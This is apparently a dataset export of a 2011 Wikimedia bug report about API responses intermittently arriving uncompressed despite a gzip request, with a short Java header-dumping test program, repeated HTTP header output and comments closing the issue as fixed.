{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:52 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq64.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq64.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:52 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq64.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq64.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:54 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq65.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq65.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:57 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq64.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq64.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:57 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq74.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq74.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:58 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq60.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq60.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:58 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq37.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq37.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:59 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq66.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq66.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:00 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq65.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq65.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:00 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq66.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq66.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:02 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq77.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq77.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:04 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq37.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq37.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:05 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq39.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq39.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:06 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq40.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq40.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:06 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq62.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq62.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:07 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[759], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq72.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq72.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:07 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq75.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq75.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:08 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq72.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq72.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:09 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq66.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq66.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:11 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq72.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq72.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:13 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[759], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq60.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq60.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:14 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[759], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq60.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq60.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:14 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq62.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq62.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:15 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq73.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq73.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}

This wasn't an issue prior to the 1.18 upgrade on Wikimedia.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1318324320,1329750939.0,PHID-USER-7i3ugree666xnpuicp4p,False,,False,PHID-TASK-vkusgvsgjlp6uuqsft42,task_description,resolved,True,c2,1,False,False,True,-99,True,0.0,0.0,0.0,0.0,0.038461538461538464,5.230769230769231,0.07692307692307693,0.0,0.0,0.0,0.0,0.07692307692307693,0.0,0.038461538461538464,0.0,0.15384615384615385,0.038461538461538464,0.34615384615384615,4.076923076923077,0.0,0.0,0.0,0.038461538461538464,0.0,0.07692307692307693,0.0,0.0,0.0,0.0,0.038461538461538464,0.0,0.23076923076923078,0.07692307692307693,0.0,0.038461538461538464,0.0,0.0,0.0,0.07692307692307693,0.0,0.0,0.0,0.038461538461538464,0.19230769230769232,0.0,0.038461538461538464,0.0,0.038461538461538464,0.0,11.923076923076923,0.038461538461538464,0.07692307692307693,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.038461538461538464,0.0,0.19230769230769232,0.07692307692307693,29.615384615384617,0.07692307692307693,0.0,0.3076923076923077,0.0,0.0,0.0,0.0,0.07692307692307693,0.038461538461538464,5.1923076923076925,0.0,0.15384615384615385,4.076923076923077,24.384615384615383,0.0,0.3076923076923077,0.0,0.15384615384615385,0.0,0.07692307692307693,0.07692307692307693,0.0,0.11538461538461539,0.0,0.0,0.2692307692307692,4.445152049717587,0.4794421337131205,"While repeatedly fetching the URL

URL

with ""Accept-encoding: gzip"" set, occasionally (about 10% probability) I will receive a response that is uncompressed. I've received reports this also happens when using API login (see [[User talk:MER-C#Wiki.java...again]]).

Test code:

import java.io.*;
import java.net.*;

public class Blah
{
    public static void main(String[] args) throws IOException
    {
        for (int i = 0; i < 25; i++)
        {
            URLConnection connection = new URL(""URL
            connection.setRequestProperty(""Accept-encoding"", ""gzip"");
            connection.setRequestProperty(""User-Agent"", ""Test script"");
            connection.connect();
            System.out.println(connection.getHeaderFields());
        }
    }
}

This merely dumps the HTTP headers. Sample output:

{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:51 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq38.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq38.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:52 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq64.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq64.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:52 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq64.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq64.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:54 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq65.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq65.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:57 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq64.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq64.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:57 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq74.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq74.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:58 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq60.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq60.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:58 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq37.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq37.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:48:59 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq66.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq66.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:00 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq65.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq65.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:00 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq66.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq66.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:02 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq77.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq77.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:04 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq37.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq37.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:05 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq39.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq39.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:06 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq40.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq40.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:06 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq62.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq62.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:07 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[759], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq72.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq72.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:07 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq75.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq75.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:08 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq72.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq72.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:09 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq66.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq66.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:11 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq72.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq72.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:13 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[759], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq60.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq60.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:14 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[759], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq60.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq60.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:14 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq62.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq62.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}
{null=[HTTP/1.0 200 OK], Date=[Tue, 11 Oct 2011 08:49:15 GMT], Vary=[Accept-Encoding,X-Forwarded-Proto], Content-Length=[332], Content-Encoding=[gzip], Content-Type=[text/xml; charset=utf-8], X-Cache-Lookup=[MISS from sq73.wikimedia.org:80, MISS from sq34.wikimedia.org:3128], Connection=[keep-alive], Server=[Apache], X-Cache=[MISS from sq73.wikimedia.org, MISS from sq34.wikimedia.org], X-Content-Type-Options=[nosniff], Cache-Control=[private]}

This wasn't an issue prior to the 1.18 upgrade on Wikimedia.

--------------------------
**Version**: unspecified
**Severity**: normal"
148123,Regression: API categorymembers and login occasionally fails to gzip/compress responses,Issue seems to have been fixed per comment 9. So I am closing this bug.,,,1329750939,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,True,,,-80,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.3529411764705883,0.9411764705882353,Issue seems to have been fixed per comment 9. So I am closing this bug.
148118,Regression: API categorymembers and login occasionally fails to gzip/compress responses,I ran a 5000+ request program on the Saturday after Thanksgiving without encountering this problem.,,,1323653377,,PHID-USER-7i3ugree666xnpuicp4p,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,False,,,-90,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,18.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,5.0,1.0,I ran a 5000+ request program on the Saturday after Thanksgiving without encountering this problem.
148114,Regression: API categorymembers and login occasionally fails to gzip/compress responses,"Any more recent replications of this bug?

I'm moving it to site related stuff also",,,1323622626,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-vkusgvsgjlp6uuqsft42,task_subcomment,,True,c2,1,True,,,-90,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,11.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,3.888888888888889,1.0,"Any more recent replications of this bug?

I'm moving it to site related stuff also"
